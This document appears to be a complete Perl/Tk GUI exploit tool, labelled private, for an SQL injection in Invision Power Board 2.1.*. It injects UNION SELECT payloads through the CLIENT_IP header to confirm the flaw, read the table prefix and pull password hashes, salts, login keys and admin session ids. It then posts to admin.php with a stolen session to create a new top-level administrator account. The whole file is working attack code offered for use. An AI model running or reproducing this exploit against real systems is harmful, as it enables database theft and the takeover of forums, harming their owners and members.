#!/usr/bin/perl

## Invision Power Board v2.1.* sql injection exploit by RST/GHC
## GUI version =)))
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

##        THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE
##                   KEEP IT PRIVATE


## Не для перепродажи бля! Если вы купили этот сплоит не у авторов то сообщите нам на rst@void.ru
## А то барыги заебали. 

use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;

$mw = new MainWindow(title => "r57ipb216gui | priv8!" );

$mw->geometry ( '420x460' ) ;
$mw->resizable(0,0);

$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
$mw->Label(-text => 'Invision Power Board 2.1.* sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '')->pack();

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

$url = 'http://server/forum/index.php';
$user_id = '1';
$prefix = 'ibf_';
$table = 'members';
$column = 'member_login_key';
$new_admin_name = 'rstghc';
$new_admin_password = 'rstghc';
$new_admin_email = 'billy@microsoft.com';
$report = '';

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
$b2->insert("end", "members");
$b2->insert("end", "members_converge");
$b2->insert("end", "admin_sessions");
$b2->pack( -side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');
$b->pack( -side => "top" , -anchor => 'w' );

$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new admin password: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();

$fright->Button(-text    => 'Test forum vulnerability',
                -relief => "groove",
                -width => '30',
                -font => '{Verdana} 8 bold',
                -activeforeground => 'red',
                -command => \&test_vuln
               )->pack();

$fright->Button(-text    => 'Get database tables prefix',
                -relief => "groove",
                -width => '30',
                -font => '{Verdana} 8 bold',
                -activeforeground => 'red',
                -command => \&get_prefix
               )->pack();

$fright->Button(-text    => 'Get data from database',
                -relief => "groove",
                -width => '30',
                -font => '{Verdana} 8 bold',
                -activeforeground => 'red',
                -command => \&get_data
               )->pack();

$fright->Button(-text    => 'Create new admin',
                -relief => "groove",
                -width => '30',
                -font => '{Verdana} 8 bold',
                -activeforeground => 'red',
                -command => \&create_admin
               )->pack();

$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => 'PRIV8 VERSION', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://rst.void.ru', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://ghc.ru', -font => '{Verdana} 7')->pack();

MainLoop();

sub update_columns()
 {
 $b->delete(0,"end");
 if($table eq 'members'){
 $column = "member_login_key";   
 $b->insert("end", "member_login_key");
 $b->insert("end", "name");
 $b->insert("end", "ip_address");
 $b->insert("end", "legacy_password");
 $b->insert("end", "email");
 } elsif($table eq 'members_converge'){
 $column = "converge_pass_hash";   
 $b->insert("end", "converge_pass_hash");
 $b->insert("end", "converge_pass_salt");
 $b->insert("end", "converge_email");
 } elsif($table eq 'admin_sessions'){
 $column = "session_id";   
 $b->insert("end", "session_id");
 $b->insert("end", "session_ip_address");
 $b->insert("end", "session_member_name");
 $b->insert("end", "session_member_login_key");
 }   
 }

sub get_data()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title   => 'get data from database', -buttons => ["OK"]);
if($table eq 'members') { $id_text = 'id'; }
if($table eq 'members_converge') { $id_text = 'converge_id'; }
if($table eq 'admin_sessions') { $id_text = 'session_member_id'; }

$res = $xpl->get($url."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
if($res->is_success) 
 {
 $rep = '';   
 if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/)
  {
  $rep = $3;  
  if($table eq 'admin_sessions' && $column eq 'session_id') { $session_id = $rep; }
  if($table eq 'admin_sessions' && $column eq 'session_ip_address') { $session_ip_address = $rep; }
  $report = $rep;
  }
 else
  {
  $InfoWindow->add('Label', -text => 'CAN\'T GET DATA', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
  $InfoWindow->Show();
  $InfoWindow->destroy;  
  }
  }
else
 {
 $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
 $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
 $InfoWindow->Show();
 $InfoWindow->destroy;
 }    
}

sub create_admin()
 {
 $InfoWindow=$mw->DialogBox(-title   => 'create new admin', -buttons => ["OK"]);
 if($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
  {
  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
  $InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
  $InfoWindow->add('Label', -text => 'Maybe admin session not created on database. Please try later get session_id & session_ip_adress!', -font => '{Verdana} 8')->pack;
  }
 elsif($session_id eq '' || $session_ip_address eq '')
  {
  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
  $InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
  }
 else
  {
 $xpl = LWP::UserAgent->new( ) or die;
 ($url2 = $url) =~ s/index.php/admin.php/;
 $res = $xpl->post($url2."?adsess=$session_id",
 [
 'code'     => 'doadd',
 'act'      => 'mem',
 'section'  => 'content',
 'name'     => $new_admin_name,
 'password' => $new_admin_password,
 'email'    => $new_admin_email,
 'mgroup'   => '4',                 # главные администраторы
 ],
 ,'USER_AGENT'=>'',
 'CLIENT_IP'=>"$session_ip_address");
 $InfoWindow->add('Label', -text => 'Done!', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; 
 $InfoWindow->add('Label', -text => 'New admin created', -font => '{Verdana} 8 bold')->pack;  
  }
 $InfoWindow->Show();
 $InfoWindow->destroy;
 }

sub test_vuln()
{
$InfoWindow=$mw->DialogBox(-title   => 'test forum vulnerability', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/*");
if($res->is_success) 
 {
 $rep = '';
 if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
 if($rep eq 'VULN') { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
 else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }
 }
else
 {
 $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
 $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
 } 
$InfoWindow->Show();
$InfoWindow->destroy;
}

sub get_prefix()
{
 $InfoWindow=$mw->DialogBox(-title   => 'get database tables prefix', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"'");
if($res->is_success) 
 {
 $rep = '';
 if($res->as_string =~ /FROM (.*)sessions/)
 {
 $prefix = $1;
 $InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
 }
 else
 {
 $InfoWindow->add('Label', -text => 'CAN\'T GET PREFIX', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
 }
else
 {
 $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
 $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
 } 
$InfoWindow->Show();
$InfoWindow->destroy;   
}